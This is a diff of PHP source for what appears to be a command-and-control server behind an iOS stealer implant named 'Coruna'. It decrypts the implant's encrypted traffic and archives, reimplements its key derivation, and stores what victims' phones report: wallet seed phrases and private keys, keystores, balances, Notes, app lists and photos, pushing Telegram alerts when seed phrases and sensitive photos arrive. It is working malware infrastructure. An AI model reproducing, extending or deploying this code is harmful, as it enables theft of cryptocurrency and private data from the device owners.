$repaired = substr_replace($repaired, pack('P', $nextHeaderOffset), 12, 8);
|
||||
$repaired = substr_replace($repaired, pack('P', $nextHeaderSize), 20, 8);
|
||||
$nextCrc = crc32(substr($repaired, $nextHeaderStart, $nextHeaderSize)) & 0xFFFFFFFF;
|
||||
$repaired = substr_replace($repaired, pack('V', $nextCrc), 28, 4);
|
||||
$startCrc = crc32(substr($repaired, 12, 20)) & 0xFFFFFFFF;
|
||||
$repaired = substr_replace($repaired, pack('V', $startCrc), 8, 4);
|
||||
|
||||
return $repaired;
|
||||
}
|
||||
|
||||
public function extract(string $wireData, string $destDir, string $batchBase = '0'): array
|
||||
{
|
||||
if (! is_dir($destDir)) {
|
||||
mkdir($destDir, 0755, true);
|
||||
}
|
||||
|
||||
try {
|
||||
$repaired = $this->repairHeader($wireData);
|
||||
} catch (\Throwable $e) {
|
||||
$repaired = $wireData;
|
||||
}
|
||||
|
||||
$archive = $destDir.'/capture.7z';
|
||||
file_put_contents($archive, $repaired);
|
||||
file_put_contents($destDir.'/wire.bin', $wireData);
|
||||
$password = $this->crypto->archivePassword($batchBase);
|
||||
$membersDir = $destDir.'/members';
|
||||
@mkdir($membersDir, 0755, true);
|
||||
|
||||
$bin = $this->resolveSevenZipBinary();
|
||||
$result = Process::timeout(120)->run([
|
||||
$bin, 'x', '-y',
|
||||
'-p'.$password,
|
||||
'-o'.$membersDir,
|
||||
$archive,
|
||||
]);
|
||||
|
||||
$files = [];
|
||||
if (is_dir($membersDir)) {
|
||||
$it = new \RecursiveIteratorIterator(new \RecursiveDirectoryIterator(
|
||||
$membersDir,
|
||||
\FilesystemIterator::SKIP_DOTS
|
||||
));
|
||||
foreach ($it as $file) {
|
||||
if ($file->isFile()) {
|
||||
$files[] = $file->getPathname();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return [
|
||||
'ok' => $result->successful() && count($files) > 0,
|
||||
'stderr' => $result->errorOutput(),
|
||||
'files' => $files,
|
||||
'password_recipe' => 'session_key||'.$batchBase,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve 7z path without probing outside open_basedir.
|
||||
* is_executable('/usr/bin/7z') fatals under typical panel open_basedir.
|
||||
*/
|
||||
private function resolveSevenZipBinary(): string
|
||||
{
|
||||
$configured = trim($this->sevenZip);
|
||||
$candidates = array_values(array_unique(array_filter([
|
||||
$configured,
|
||||
// Prefer a binary vendored inside the Laravel root (within open_basedir).
|
||||
base_path('bin/7z'),
|
||||
'7z',
|
||||
])));
|
||||
|
||||
foreach ($candidates as $candidate) {
|
||||
if ($candidate === '7z') {
|
||||
return '7z';
|
||||
}
|
||||
if (! $this->isPathInsideOpenBasedir($candidate)) {
|
||||
// Still try absolute configured path: exec() is often allowed even when
|
||||
// is_executable() is blocked. Skip the filesystem probe.
|
||||
if ($candidate === $configured && str_starts_with($candidate, '/')) {
|
||||
return $candidate;
|
||||
}
|
||||
|
||||
continue;
|
||||
}
|
||||
if (@is_file($candidate) && @is_executable($candidate)) {
|
||||
return $candidate;
|
||||
}
|
||||
}
|
||||
|
||||
return $configured !== '' ? $configured : '7z';
|
||||
}
|
||||
|
||||
private function isPathInsideOpenBasedir(string $path): bool
|
||||
{
|
||||
$basedir = (string) ini_get('open_basedir');
|
||||
if ($basedir === '') {
|
||||
return true;
|
||||
}
|
||||
$real = realpath($path);
|
||||
$check = $real !== false ? $real : $path;
|
||||
foreach (explode(PATH_SEPARATOR, $basedir) as $root) {
|
||||
$root = rtrim($root, DIRECTORY_SEPARATOR);
|
||||
if ($root === '') {
|
||||
continue;
|
||||
}
|
||||
if ($check === $root || str_starts_with($check, $root.DIRECTORY_SEPARATOR)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,234 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use RuntimeException;
|
||||
|
||||
/**
|
||||
* Coruna reporting transport crypto (ParamsModel / TTNetwork).
|
||||
*
|
||||
* body = Base64(AES-256-ECB-PKCS7(SHA256(session_key||timestamp), timestamp||payload))
|
||||
*/
|
||||
class CorunaCrypto
|
||||
{
|
||||
private const KEY_STATE_HEX =
|
||||
'f2e61e583b65753af05b8f6ec65a681fcc6f93d20cca9153ed13133c6c291565';
|
||||
|
||||
private const AES_SBOX_HEX =
|
||||
'637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0'
|
||||
.'b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b275'
|
||||
.'09832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cf'
|
||||
.'d0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2'
|
||||
.'cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdb'
|
||||
.'e0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08'
|
||||
.'ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9e'
|
||||
.'e1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16';
|
||||
|
||||
private string $sessionKey;
|
||||
|
||||
private string $sbox;
|
||||
|
||||
public function __construct(?string $sessionKey = null)
|
||||
{
|
||||
$this->sbox = hex2bin(self::AES_SBOX_HEX);
|
||||
$this->sessionKey = $sessionKey ?? $this->deriveSessionKey(0);
|
||||
if (strlen($this->sessionKey) !== 16) {
|
||||
throw new RuntimeException('session key must be 16 bytes');
|
||||
}
|
||||
}
|
||||
|
||||
public function sessionKey(): string
|
||||
{
|
||||
return $this->sessionKey;
|
||||
}
|
||||
|
||||
public function deriveArchivePassword(int $seed = 0): string
|
||||
{
|
||||
$mask = 0xFFFFFFFF;
|
||||
$state = hex2bin(self::KEY_STATE_HEX);
|
||||
$words = array_values(unpack('V8', $state));
|
||||
|
||||
if ($seed !== 0) {
|
||||
$counter = -35;
|
||||
$accumulator = $seed & $mask;
|
||||
for ($index = 0; $index < 8; $index++) {
|
||||
$rotated = $this->ror32($seed, -38 - $counter);
|
||||
$words[$index] = ($accumulator + ($words[$index] ^ $rotated)) & $mask;
|
||||
if ($counter === 0) {
|
||||
break;
|
||||
}
|
||||
$counter += 5;
|
||||
$accumulator = ($accumulator + $seed) & $mask;
|
||||
}
|
||||
}
|
||||
|
||||
for ($roundIndex = 0; $roundIndex < 12; $roundIndex++) {
|
||||
$roundNumber = $roundIndex + 1;
|
||||
// ((n * 0xAC534878DC48202A) & 0xFFFFFFFFFFFFFFFF) >> 16 — uint64 via BCMath
|
||||
$roundValue = $this->mulU64Shift16($roundNumber);
|
||||
for ($index = 0; $index < 8; $index++) {
|
||||
$value = $words[$index];
|
||||
$value =
|
||||
ord($this->sbox[$value & 0xFF])
|
||||
| (ord($this->sbox[($value >> 8) & 0xFF]) << 8)
|
||||
| (ord($this->sbox[($value >> 16) & 0xFF]) << 16)
|
||||
| (ord($this->sbox[($value >> 24) & 0xFF]) << 24);
|
||||
$value = $this->ror32($value, -$words[($index + 1) & 7]);
|
||||
$value ^= $this->ror32($words[($index + 3) & 7], 13);
|
||||
$value = ($value + $roundValue) & $mask;
|
||||
$words[$index] = $value;
|
||||
if ($index & 1) {
|
||||
$words[$index] = (
|
||||
$this->ror32($words[$index - 1], -($value & 0xF)) ^ $value
|
||||
) & $mask;
|
||||
}
|
||||
}
|
||||
if ($roundIndex === 5) {
|
||||
$words[2] ^= 0x7BD6C6C8;
|
||||
$words[5] ^= 0x5ECAF26A;
|
||||
} elseif ($roundIndex === 9) {
|
||||
$previousZero = $words[0];
|
||||
$words[0] = ($words[7] ^ $this->ror32($previousZero, 25)) & $mask;
|
||||
$words[3] = ($words[3] + ($words[4] ^ 0xDEADBEEF)) & $mask;
|
||||
}
|
||||
}
|
||||
|
||||
$packed = pack('V8', ...$words);
|
||||
$folded = '';
|
||||
for ($i = 0; $i < 16; $i++) {
|
||||
$folded .= chr(ord($packed[$i]) ^ ord($packed[$i + 16]));
|
||||
}
|
||||
$derived = '';
|
||||
for ($i = 0; $i < 16; $i++) {
|
||||
$derived .= $this->sbox[(ord($folded[$i]) + $i) & 0xFF];
|
||||
}
|
||||
|
||||
return bin2hex($derived);
|
||||
}
|
||||
|
||||
public function deriveSessionKey(int $seed = 0): string
|
||||
{
|
||||
$raw = hex2bin($this->deriveArchivePassword($seed));
|
||||
$out = '';
|
||||
for ($i = 0; $i < strlen($raw); $i++) {
|
||||
$out .= chr((ord($raw[$i]) % 94) + 33);
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
public function decryptJsonBody(string $ciphertext, string $timestamp): mixed
|
||||
{
|
||||
$this->assertTimestamp($timestamp);
|
||||
$encrypted = base64_decode($ciphertext, true);
|
||||
if ($encrypted === false) {
|
||||
$decoded = json_decode($ciphertext, true);
|
||||
if (is_string($decoded)) {
|
||||
$encrypted = base64_decode($decoded, true);
|
||||
}
|
||||
}
|
||||
if ($encrypted === false || $encrypted === '') {
|
||||
throw new RuntimeException('invalid base64 body');
|
||||
}
|
||||
|
||||
$key = hash('sha256', $this->sessionKey.$timestamp, true);
|
||||
$padded = openssl_decrypt($encrypted, 'AES-256-ECB', $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING);
|
||||
if ($padded === false) {
|
||||
throw new RuntimeException('AES decrypt failed');
|
||||
}
|
||||
$plaintext = $this->pkcs7Unpad($padded);
|
||||
$prefix = $timestamp;
|
||||
if (! str_starts_with($plaintext, $prefix)) {
|
||||
throw new RuntimeException('timestamp prefix mismatch');
|
||||
}
|
||||
$json = substr($plaintext, strlen($prefix));
|
||||
if ($json === 'null') {
|
||||
return null;
|
||||
}
|
||||
|
||||
return json_decode($json, true, 512, JSON_THROW_ON_ERROR);
|
||||
}
|
||||
|
||||
public function encryptPayload(string $payload, ?string $timestamp = null): array
|
||||
{
|
||||
$timestamp ??= (string) (int) round(microtime(true) * 1000);
|
||||
$this->assertTimestamp($timestamp);
|
||||
$key = hash('sha256', $this->sessionKey.$timestamp, true);
|
||||
$plain = $timestamp.$payload;
|
||||
$padded = $this->pkcs7Pad($plain);
|
||||
$encrypted = openssl_encrypt($padded, 'AES-256-ECB', $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING);
|
||||
if ($encrypted === false) {
|
||||
throw new RuntimeException('AES encrypt failed');
|
||||
}
|
||||
|
||||
return [
|
||||
'timestamp' => $timestamp,
|
||||
'body' => base64_encode($encrypted),
|
||||
];
|
||||
}
|
||||
|
||||
public function encryptJson(mixed $data, ?string $timestamp = null): array
|
||||
{
|
||||
if ($data === null) {
|
||||
$payload = 'null';
|
||||
} else {
|
||||
$payload = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||
}
|
||||
|
||||
return $this->encryptPayload($payload, $timestamp);
|
||||
}
|
||||
|
||||
public function archivePassword(string $batchBaseTimestamp = '0'): string
|
||||
{
|
||||
return $this->sessionKey.$batchBaseTimestamp;
|
||||
}
|
||||
|
||||
private function assertTimestamp(string $timestamp): void
|
||||
{
|
||||
if (! preg_match('/^\d{13}$/', $timestamp)) {
|
||||
throw new RuntimeException('timestamp must be 13 digits');
|
||||
}
|
||||
}
|
||||
|
||||
private function pkcs7Pad(string $data): string
|
||||
{
|
||||
$pad = 16 - (strlen($data) % 16);
|
||||
|
||||
return $data.str_repeat(chr($pad), $pad);
|
||||
}
|
||||
|
||||
private function pkcs7Unpad(string $data): string
|
||||
{
|
||||
$len = strlen($data);
|
||||
if ($len === 0 || ($len % 16) !== 0) {
|
||||
throw new RuntimeException('invalid ciphertext length');
|
||||
}
|
||||
$pad = ord($data[$len - 1]);
|
||||
if ($pad < 1 || $pad > 16 || substr($data, -$pad) !== str_repeat(chr($pad), $pad)) {
|
||||
throw new RuntimeException('invalid PKCS#7 padding');
|
||||
}
|
||||
|
||||
return substr($data, 0, -$pad);
|
||||
}
|
||||
|
||||
private function mulU64Shift16(int $roundNumber): int
|
||||
{
|
||||
// ((n * 0xAC534878DC48202A) & 0xFFFFFFFFFFFFFFFF) >> 16
|
||||
$product = gmp_mul((string) $roundNumber, '0xAC534878DC48202A');
|
||||
$masked = gmp_and($product, '0xFFFFFFFFFFFFFFFF');
|
||||
$shifted = gmp_div_q($masked, 65536);
|
||||
|
||||
return (int) gmp_intval($shifted);
|
||||
}
|
||||
|
||||
private function ror32(int $value, int $amount): int
|
||||
{
|
||||
$value &= 0xFFFFFFFF;
|
||||
$amount &= 31;
|
||||
if ($amount === 0) {
|
||||
return $value;
|
||||
}
|
||||
|
||||
return (($value >> $amount) | (($value << (32 - $amount)) & 0xFFFFFFFF)) & 0xFFFFFFFF;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,670 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\Photo;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class IngestService
|
||||
{
|
||||
public function __construct(private readonly TelegramNotifier $telegram) {}
|
||||
|
||||
/**
|
||||
* Stable device id — currently only from payload `d` / `f`.
|
||||
* Other fields will be added when confirmed in live traffic.
|
||||
*
|
||||
* `/api/user/check` multipart sends an encoded form of the same id
|
||||
* (see {@see normalizeDeviceKey}); JSON routes send the 16-hex form.
|
||||
*/
|
||||
public function extractDeviceKey(?array $payload): ?string
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return null;
|
||||
}
|
||||
$candidates = [];
|
||||
if (isset($payload['form']) && is_array($payload['form'])) {
|
||||
$candidates[] = $payload['form']['d'] ?? null;
|
||||
$candidates[] = $payload['form']['f'] ?? null;
|
||||
}
|
||||
$candidates[] = $payload['d'] ?? null;
|
||||
$candidates[] = $payload['f'] ?? null;
|
||||
|
||||
foreach ($candidates as $value) {
|
||||
if (! empty($value) && is_string($value)) {
|
||||
return self::normalizeDeviceKey(substr($value, 0, 64));
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Map `/check` multipart `d`/`f` onto the JSON-route device id.
|
||||
*
|
||||
* Live photo upload encodes: hex(ascii(nibbleSwap(byteReverse(json_d)))).
|
||||
* Example: JSON `000430C910E8E526` ↔ check `36323545384530313943303334303030`.
|
||||
* Plain 16-hex (and non-matching strings) pass through unchanged.
|
||||
*/
|
||||
public static function normalizeDeviceKey(?string $key): ?string
|
||||
{
|
||||
if ($key === null || $key === '') {
|
||||
return $key;
|
||||
}
|
||||
|
||||
if (! preg_match('/^[0-9a-fA-F]{32}$/', $key)) {
|
||||
return $key;
|
||||
}
|
||||
|
||||
$ascii = hex2bin($key);
|
||||
if (! is_string($ascii) || ! preg_match('/^[0-9A-Fa-f]{16}$/', $ascii)) {
|
||||
return $key;
|
||||
}
|
||||
|
||||
$raw = hex2bin($ascii);
|
||||
if ($raw === false || strlen($raw) !== 8) {
|
||||
return $key;
|
||||
}
|
||||
|
||||
$rev = strrev($raw);
|
||||
$out = '';
|
||||
for ($i = 0; $i < 8; $i++) {
|
||||
$b = ord($rev[$i]);
|
||||
$out .= sprintf('%02X', (($b & 0x0F) << 4) | (($b & 0xF0) >> 4));
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* Campaign / channel id from reporting traffic.
|
||||
*
|
||||
* Primary: JSON / form field `c` (32 hex in HAR + type-0x01 embed).
|
||||
* Fallback: `channel` (seen on /link/config/list alongside `c`).
|
||||
*/
|
||||
public function extractChannelId(Request $request, ?array $payload): ?string
|
||||
{
|
||||
$candidates = [];
|
||||
if (is_array($payload)) {
|
||||
if (isset($payload['form']) && is_array($payload['form'])) {
|
||||
$candidates[] = $payload['form']['c'] ?? null;
|
||||
$candidates[] = $payload['form']['channel'] ?? null;
|
||||
}
|
||||
$candidates[] = $payload['c'] ?? null;
|
||||
$candidates[] = $payload['channel'] ?? null;
|
||||
}
|
||||
$candidates[] = $request->input('c');
|
||||
$candidates[] = $request->input('channel');
|
||||
|
||||
foreach ($candidates as $value) {
|
||||
if (! is_string($value) || $value === '') {
|
||||
continue;
|
||||
}
|
||||
$value = trim($value);
|
||||
// HAR / implant: lowercase hex, typically 32 chars
|
||||
if (preg_match('/^[0-9a-fA-F]{16,64}$/', $value)) {
|
||||
return strtolower(substr($value, 0, 64));
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
|
||||
{
|
||||
$deviceKey = $deviceKey !== null
|
||||
? self::normalizeDeviceKey(substr($deviceKey, 0, 64))
|
||||
: $this->extractDeviceKey($payload);
|
||||
if (! $deviceKey) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$deviceModel = $this->extractDeviceModel($payload);
|
||||
$ios = $this->extractIosVersion($payload);
|
||||
$channelId = $this->extractChannelId($request, $payload);
|
||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||
|
||||
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
||||
$attrs = [
|
||||
'ip' => $request->ip(),
|
||||
];
|
||||
if ($ua !== '') {
|
||||
$attrs['user_agent'] = $ua;
|
||||
}
|
||||
if ($deviceModel !== null) {
|
||||
$attrs['device_model'] = $deviceModel;
|
||||
} elseif ($existing) {
|
||||
$attrs['device_model'] = $existing->device_model;
|
||||
}
|
||||
if ($ios !== null) {
|
||||
$attrs['ios_version'] = $ios;
|
||||
} elseif ($existing) {
|
||||
$attrs['ios_version'] = $existing->ios_version;
|
||||
}
|
||||
if ($channelId !== null) {
|
||||
$attrs['channel_id'] = $channelId;
|
||||
} elseif ($existing) {
|
||||
$attrs['channel_id'] = $existing->channel_id;
|
||||
}
|
||||
|
||||
// created_at = 安装时间;每次收到带设备标识的请求都刷新 updated_at(活跃判断)
|
||||
$device = Device::query()->updateOrCreate(
|
||||
['device_id' => $deviceKey],
|
||||
$attrs
|
||||
);
|
||||
$device->forceFill(['updated_at' => now()])->saveQuietly();
|
||||
|
||||
if (! $existing) {
|
||||
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
|
||||
$device->telegram_notified = true;
|
||||
$device->save();
|
||||
}
|
||||
|
||||
return $device->refresh();
|
||||
}
|
||||
|
||||
/**
|
||||
* App list from /api/user/get — one row per bundle (`al[]`: a=name, b=bundle, v=version).
|
||||
*/
|
||||
public function ingestInstalledApps(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload) || empty($payload['al']) || ! is_array($payload['al'])) {
|
||||
return;
|
||||
}
|
||||
|
||||
$walletBundles = config('coruna.wallet_bundles', []);
|
||||
foreach ($payload['al'] as $item) {
|
||||
if (! is_array($item)) {
|
||||
continue;
|
||||
}
|
||||
$bundle = (string) ($item['b'] ?? $item['bundle_id'] ?? $item['bundleId'] ?? '');
|
||||
$name = (string) ($item['a'] ?? $item['name'] ?? $bundle);
|
||||
$version = isset($item['v']) ? (string) $item['v'] : null;
|
||||
if ($bundle === '') {
|
||||
continue;
|
||||
}
|
||||
$isWallet = in_array($bundle, $walletBundles, true)
|
||||
|| (bool) preg_match('/wallet|token|metamask|imtoken|trust|exodus|phantom|ton/i', $bundle.' '.$name);
|
||||
DeviceApp::query()->updateOrCreate(
|
||||
['device_id' => $device->id, 'bundle_id' => $bundle],
|
||||
[
|
||||
'name' => $name,
|
||||
'version' => $version,
|
||||
'is_wallet' => $isWallet,
|
||||
'meta_json' => $item,
|
||||
]
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Behavior events from /api/user/avatar/put (`et` / `desc` / `ctx`).
|
||||
*/
|
||||
public function ingestDeviceEvent(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$eventName = $payload['et'] ?? $payload['event_name'] ?? null;
|
||||
$desc = $payload['desc'] ?? $payload['description'] ?? null;
|
||||
if ($eventName === null && $desc === null) {
|
||||
return;
|
||||
}
|
||||
$ctx = $payload['ctx'] ?? $payload['context'] ?? null;
|
||||
$contextJson = null;
|
||||
if (is_array($ctx)) {
|
||||
$contextJson = $ctx;
|
||||
} elseif ($ctx !== null) {
|
||||
$contextJson = ['value' => $ctx];
|
||||
}
|
||||
|
||||
DeviceEvent::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'device_key' => $device->device_id,
|
||||
'event_name' => is_string($eventName) ? $eventName : null,
|
||||
'desc' => is_string($desc) ? mb_substr($desc, 0, 512) : null,
|
||||
'context_json' => $contextJson,
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* `/api/user/set` — plaintext mnemonic / private key in `result`.
|
||||
*/
|
||||
public function ingestMnemonic(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$secret = null;
|
||||
foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery', 'privateKey', 'private_key', 'privkey', 'wif'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
$secret = trim($payload[$key]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if ($secret === null || $secret === '') {
|
||||
return;
|
||||
}
|
||||
|
||||
$hash = WalletMnemonic::hashSecret($secret);
|
||||
$row = WalletMnemonic::query()->firstOrNew([
|
||||
'device_id' => $device->id,
|
||||
'mnemonic_hash' => $hash,
|
||||
]);
|
||||
$isNew = ! $row->exists;
|
||||
$source = WalletSource::fromTag($payload['a'] ?? null);
|
||||
$row->source = $source;
|
||||
$row->mnemonic = $secret;
|
||||
$row->save();
|
||||
if ($isNew) {
|
||||
$this->telegram->notifyNewMemoric($device->device_id, $source, $secret);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* `/api/user/avatar/status` — store entire `result` keystore/identity blob.
|
||||
*/
|
||||
public function ingestKeystore(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload) || ! array_key_exists('result', $payload)) {
|
||||
return;
|
||||
}
|
||||
$result = $payload['result'];
|
||||
if (is_string($result)) {
|
||||
$decoded = json_decode($result, true);
|
||||
if (is_array($decoded)) {
|
||||
$result = $decoded;
|
||||
}
|
||||
}
|
||||
if (! is_array($result) && ! is_string($result)) {
|
||||
return;
|
||||
}
|
||||
|
||||
WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'raw_json' => is_array($result) ? $result : ['value' => $result],
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* `/api/user/status` — addresses + balances from `ba` / `ad` / legacy `data`.
|
||||
*/
|
||||
public function ingestAddresses(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$source = WalletSource::fromTag($payload['a'] ?? null);
|
||||
$rows = $this->normalizeStatusAddressRows($payload);
|
||||
/** @var list<array{address: string, chain: string, balance: string, source: string}> $notify */
|
||||
$notify = [];
|
||||
|
||||
foreach ($rows as $row) {
|
||||
$address = $row['address'] ?? null;
|
||||
if (! is_string($address) || $address === '') {
|
||||
continue;
|
||||
}
|
||||
$chainType = (string) ($row['chain_type'] ?? '');
|
||||
if ($chainType === '') {
|
||||
$chainType = WalletSource::inferChainType($address);
|
||||
}
|
||||
$balance = $row['balance'] ?? '';
|
||||
// Global Wallet ad map: scalar is not a balance → ignore coin fields.
|
||||
if (! is_array($balance) && ! is_string($balance)) {
|
||||
$balance = '';
|
||||
}
|
||||
|
||||
$existing = WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('address', $address)
|
||||
->where('source', $source)
|
||||
->first();
|
||||
|
||||
$beforeCoins = $existing?->coinSnapshot();
|
||||
$coinAttrs = WalletAddress::coinAttributesFromBalance(is_array($balance) ? $balance : null);
|
||||
|
||||
$attrs = ['chain_type' => $chainType];
|
||||
foreach ($coinAttrs as $col => $value) {
|
||||
$attrs[$col] = $value;
|
||||
}
|
||||
if (! $existing) {
|
||||
$attrs['monitor'] = 0;
|
||||
}
|
||||
|
||||
$addr = WalletAddress::query()->updateOrCreate(
|
||||
['device_id' => $device->id, 'address' => $address, 'source' => $source],
|
||||
$attrs
|
||||
);
|
||||
|
||||
$balanceSummary = $addr->coinsSummary();
|
||||
$shouldNotify = ! $existing
|
||||
|| ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot());
|
||||
if ($shouldNotify) {
|
||||
$notify[] = [
|
||||
'address' => $address,
|
||||
'chain' => $chainType,
|
||||
'balance' => $balanceSummary,
|
||||
'source' => $source,
|
||||
];
|
||||
}
|
||||
unset($addr);
|
||||
}
|
||||
|
||||
if ($notify !== []) {
|
||||
$this->telegram->notifyNewWallets($device->device_id, $notify);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* `/api/user/avatar/pic` — Notes reader; content = payload.list.
|
||||
*/
|
||||
public function ingestNotes(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload) || ! array_key_exists('list', $payload)) {
|
||||
return;
|
||||
}
|
||||
$list = $payload['list'];
|
||||
if (! is_array($list)) {
|
||||
$list = [$list];
|
||||
}
|
||||
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'content' => array_values($list),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Decode /check multipart `idx` / `ftu` 12-hex packs: "%06llx%06llx".
|
||||
*
|
||||
* @return array{0: ?int, 1: ?int}
|
||||
*/
|
||||
public static function decodeHexCounterPair(mixed $packed): array
|
||||
{
|
||||
if (! is_string($packed) || ! preg_match('/^[0-9a-fA-F]{12}$/', $packed)) {
|
||||
return [null, null];
|
||||
}
|
||||
|
||||
return [(int) hexdec(substr($packed, 0, 6)), (int) hexdec(substr($packed, 6, 6))];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{
|
||||
* x_hit?: ?int,
|
||||
* upload_count?: ?int,
|
||||
* process_index?: ?int,
|
||||
* text_count?: ?int,
|
||||
* barcode_count?: ?int
|
||||
* } $meta
|
||||
*/
|
||||
public function ingestPhotos(Device $device, array $filePaths, array $meta = []): void
|
||||
{
|
||||
$notifiedNewSensitive = false;
|
||||
foreach ($filePaths as $path) {
|
||||
if (! is_file($path)) {
|
||||
continue;
|
||||
}
|
||||
$bytes = file_get_contents($path);
|
||||
$sha = hash('sha256', $bytes);
|
||||
// Same file content → skip DB insert & telegram (idempotent).
|
||||
if (Photo::query()->where('device_id', $device->id)->where('sha256', $sha)->exists()) {
|
||||
continue;
|
||||
}
|
||||
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
|
||||
Storage::disk('local')->put($rel, $bytes);
|
||||
$xHit = $meta['x_hit'] ?? null;
|
||||
$photo = Photo::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'sha256' => $sha,
|
||||
'path' => $rel,
|
||||
'size' => strlen($bytes),
|
||||
'x_hit' => $xHit,
|
||||
'upload_count' => $meta['upload_count'] ?? null,
|
||||
'process_index' => $meta['process_index'] ?? null,
|
||||
'text_count' => $meta['text_count'] ?? null,
|
||||
'barcode_count' => $meta['barcode_count'] ?? null,
|
||||
]);
|
||||
if ($photo->wasRecentlyCreated && (int) $xHit > 0 && ! $notifiedNewSensitive) {
|
||||
$this->telegram->notifyNewPhotos($device->device_id);
|
||||
$notifiedNewSensitive = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function extractDeviceModel(?array $payload): ?string
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return null;
|
||||
}
|
||||
foreach (['deviceModel'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
return $payload[$key];
|
||||
}
|
||||
}
|
||||
// avatar/put often sends short model as `m` (e.g. iPhone9,1)
|
||||
if (! empty($payload['m']) && is_string($payload['m']) && preg_match('/^[A-Za-z]+\d/', $payload['m'])) {
|
||||
return $payload['m'];
|
||||
}
|
||||
$info = $payload['deviceInfo'] ?? null;
|
||||
if (is_array($info)) {
|
||||
foreach (['productType', 'machine', 'model'] as $key) {
|
||||
if (! empty($info[$key]) && is_string($info[$key])) {
|
||||
return $info[$key];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function extractIosVersion(?array $payload): ?string
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return null;
|
||||
}
|
||||
// /api/user/get uses `v` for iOS version
|
||||
if (! empty($payload['v']) && is_string($payload['v']) && preg_match('/^\d+(\.\d+){1,3}$/', $payload['v'])) {
|
||||
return $payload['v'];
|
||||
}
|
||||
foreach (['pv', 'ios', 'ios_version', 'os', 'ver'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
return $payload[$key];
|
||||
}
|
||||
}
|
||||
$sv = $payload['systemVersion'] ?? null;
|
||||
if (is_array($sv) && ! empty($sv['ProductVersion']) && is_string($sv['ProductVersion'])) {
|
||||
return $sv['ProductVersion'];
|
||||
}
|
||||
if (is_string($sv) && $sv !== '') {
|
||||
return $sv;
|
||||
}
|
||||
$info = $payload['deviceInfo'] ?? null;
|
||||
if (is_array($info) && ! empty($info['productVersion']) && is_string($info['productVersion'])) {
|
||||
return $info['productVersion'];
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Normalize `/api/user/status` shapes into address rows.
|
||||
*
|
